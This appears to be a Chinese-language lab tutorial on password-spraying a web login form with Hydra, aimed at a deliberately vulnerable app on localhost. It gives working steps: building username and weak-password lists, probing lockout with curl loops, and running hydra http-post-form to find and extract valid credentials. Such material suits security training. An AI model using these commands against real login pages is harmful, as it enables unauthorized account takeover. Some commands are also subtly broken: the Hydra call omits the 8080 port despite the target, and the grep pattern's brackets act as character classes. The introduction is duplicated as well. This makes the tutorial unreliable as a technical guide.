简介
在本次实验中,你将学习如何使用 Hydra(一款用于暴力破解测试的多功能网络安全工具)进行密码喷洒攻击。你将探索设置 Hydra、创建凭证列表以及针对 Web 认证表单执行定向攻击的过程。
本实验提供了配置攻击参数、分析结果以及识别弱凭证的实践经验。通过实际操作,你将深入了解常见的认证漏洞和防御策略。
在本次实验中,你将学习如何使用 Hydra(一款用于暴力破解测试的多功能网络安全工具)进行密码喷洒攻击。你将探索设置 Hydra、创建凭证列表以及针对 Web 认证表单执行定向攻击的过程。
本实验提供了配置攻击参数、分析结果以及识别弱凭证的实践经验。通过实际操作,你将深入了解常见的认证漏洞和防御策略。
在这一步中,你将安装 Hydra,这是一款强大且灵活的密码破解工具,安全专业人员常用它来测试系统安全性。Hydra 可以对多种不同的网络服务进行暴力破解攻击,如网站(HTTP)、文件传输(FTP)和安全外壳(SSH)。了解这些工具的工作原理有助于你更好地保护系统免受攻击。
首先,你需要更新系统的软件包列表。这能确保你安装的是最新版本的 Hydra:
sudo apt update
sudo
命令会赋予你管理员权限,而 apt update
会刷新可用软件包的列表。
现在,使用以下简单命令安装 Hydra:
sudo apt install hydra -y
-y
标志会自动对安装过程中的所有提示回答“yes”,使安装过程更加顺畅。
安装完成后,通过检查其版本来验证 Hydra 是否正常工作:
hydra -v
你应该会看到类似以下的输出:
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
这次版本检查确认了 Hydra 已正确安装并可以使用。
为了使用特定协议的高级功能并获得更好的性能,请安装以下可选依赖项:
sudo apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev -y
这些库使 Hydra 能够与其他服务(如数据库(MySQL、PostgreSQL)和版本控制系统(Subversion))配合使用。
在这一步中,你将创建 Hydra 执行密码喷洒攻击所需的重要文本文件。这些文件包含了 Hydra 将针对目标 Web 表单系统地进行测试的潜在用户名和密码。密码喷洒攻击的原理是针对多个用户账户尝试少数常见密码,这样可以避免因针对单个账户尝试大量密码而导致的账户锁定。
首先,导航到你用于存储文件的项目目录。这样可以将所有内容组织在一个地方:
cd ~/project
现在,我们将创建一个包含常见用户名的文件。这些是系统中可能存在的典型账户名。我们将使用 nano 文本编辑器来创建和编辑该文件:
nano users.txt
添加以下常见用户名,每行一个:
admin
administrator
user
test
guest
root
接下来,我们将创建一个密码列表文件。这些是用户可能设置的弱密码,非常适合用于测试。同样使用 nano:
nano passwords.txt
添加以下常用密码,每行一个:
password
123456
admin
letmein
welcome
qwerty
创建完这两个文件后,让我们验证它们是否存在于我们的目录中。ls -l
命令会显示详细的文件信息,包括文件的创建时间和大小:
ls -l
你应该会在输出中看到 users.txt
和 passwords.txt
。
最后,让我们检查每个文件的实际内容,以确保它们被正确创建。cat
命令会直接在终端中显示文件内容:
cat users.txt
cat passwords.txt
在这一步中,你将识别并分析用于密码喷洒攻击的目标 Web 表单。在本次练习中,我们将使用运行在 http://localhost:8080
上的一个故意设置为易受攻击的 Web 应用程序。密码喷洒攻击的原理是针对多个用户账户尝试少数常见密码,因此在发起攻击之前,了解登录表单的结构至关重要。
首先,验证目标 Web 应用程序是否正在运行:
curl -I http://localhost:8080/login
-I
标志指示 curl 仅获取 HTTP 标头。你应该会看到 200 OK
状态,这确认了登录页面可以访问。如果你遇到连接错误,请确保 Web 服务器正在运行后再继续。
通过查看页面源代码来检查登录表单的结构:
curl http://localhost:8080/login | grep -A5 -B5 "form"
此命令获取 HTML 内容,并显示任何 <form>
标签前后各 5 行的内容。查找表单的 action
属性(数据发送的目标地址)和输入字段名称 —— 这些通常被称为 username
和 password
,但也可能有所不同。
创建一个测试请求文件,记录表单的参数:
nano form_test.txt
添加以下内容,记录 Hydra 所需的关键信息:
Target URL: http://localhost:8080/login
Method: POST
Username field: username
Password field: password
Failure indicator: "Invalid credentials"
失败指示符有助于 Hydra 识别登录尝试何时失败。我们稍后将使用此文件来配置攻击。
使用单组凭证手动测试表单:
curl -X POST -d "username=admin&password=wrongpass" http://localhost:8080/login -v
-X POST
指定 HTTP 方法,而 -d
用于发送表单数据。-v
标志显示详细输出,以便你验证“Invalid credentials”响应。这确认了表单在登录失败时按预期工作。
通过快速发送 5 个请求来检查账户锁定策略:
for i in {1..5}; do
curl -X POST -d "username=admin&password=wrong$i" http://localhost:8080/login -s -o /dev/null -w "Attempt $i: %{http_code}\n"
done
此循环快速发送 5 次失败的登录尝试。观察 HTTP 状态码是否从 200(成功)变为 403(禁止访问),这表明存在账户锁定保护机制。在现实世界的应用程序中通常会有这些保护措施,但我们的测试环境中没有。
在这一步中,你将使用 Hydra 结合之前准备好的用户和密码列表,对目标 Web 表单执行密码喷洒攻击。密码喷洒是一种针对多个用户账户尝试少量常见密码的技术,有助于避免传统暴力破解攻击可能导致的账户锁定。
首先,导航到存储用户和密码列表的项目目录:
cd ~/project
现在,我们将使用精心选择的参数运行 Hydra。此命令指示 Hydra 使用 Web 表单的登录页面作为目标,针对每个用户名测试密码列表中的每个密码:
hydra -L users.txt -P passwords.txt localhost http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4 -vV
让我们详细解释每个参数的作用:
-L users.txt
:指定你的用户名列表文件(每行一个用户名)-P passwords.txt
:指定要测试的密码列表文件http-post-form
:指定我们使用 POST 方法攻击 Web 表单/login:...
:定义表单结构 —— 冒号后面的部分告诉 Hydra 如何识别失败的尝试-t 4
:运行 4 个并行连接以加快攻击速度-vV
:提供详细输出,以便你查看攻击进度在 Hydra 运行时,请仔细观察输出。当 Hydra 找到有效的凭证时,它会清晰地显示出来,如下所示:
[80][http-post-form] host: localhost login: admin password: admin
为了保存攻击结果以便记录或进一步分析,使用 -o
参数运行 Hydra:
hydra -L users.txt -P passwords.txt localhost http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4 -o results.txt
攻击完成后,你可以使用以下命令查看保存的结果:
cat results.txt
此文件将包含攻击期间找到的所有成功登录组合。
在这一步中,你将分析密码喷洒攻击的结果,以识别被盗用的凭证并了解安全影响。密码喷洒是一种攻击技术,攻击者针对多个账户尝试少数常见密码,而非针对少数账户尝试大量密码。
首先,查看 Hydra 创建的原始结果文件。该文件包含了 Hydra 在攻击期间进行的所有尝试:
cat ~/project/results.txt
查找包含 "[80][http-post-form]" 的行,这些行表示登录成功。数字 80 指的是 HTTP 端口,http-post-form 表示这是一个 Web 表单提交。
若要仅关注成功的尝试,可将被盗用的凭证提取到一个新文件中。grep 命令会过滤出包含成功模式的行:
grep "[80][http-post-form]" ~/project/results.txt > ~/project/compromised_creds.txt
统计被盗用账户的数量,以了解漏洞的严重程度。使用带有 -l 标志的 wc(单词计数)命令来统计行数:
wc -l ~/project/compromised_creds.txt
通过生成密码频率列表来分析密码模式。这有助于识别常用的弱密码:
awk '{print $6}' ~/project/compromised_creds.txt | sort | uniq -c | sort -nr
该命令提取第 6 个字段(密码),对其进行排序,统计重复项,并按频率排序。
创建一份安全报告,总结关键发现。这种结构化的格式有助于清晰地记录结果:
echo "Password Spray Attack Results" > ~/project/security_report.txt
echo "Compromised accounts: $(wc -l < ~/project/compromised_creds.txt)" >> ~/project/security_report.txt
echo "Most common password: $(awk '{print $6}' ~/project/compromised_creds.txt | sort | uniq -c | sort -nr | head -1)" >> ~/project/security_report.txt
查看最终的安全报告,以查看汇总的结果:
cat ~/project/security_report.txt
在本次实验中,你学习了如何在 Linux 系统上使用 Hydra 进行密码喷洒攻击。该过程包括安装工具、准备凭证列表以及针对 Web 表单配置攻击。
你还探索了 Hydra 在网络服务上进行暴力破解尝试的基本功能。本次实验强调了正确的设置技巧,例如创建结构化的输入文件以及理解重要的命令参数。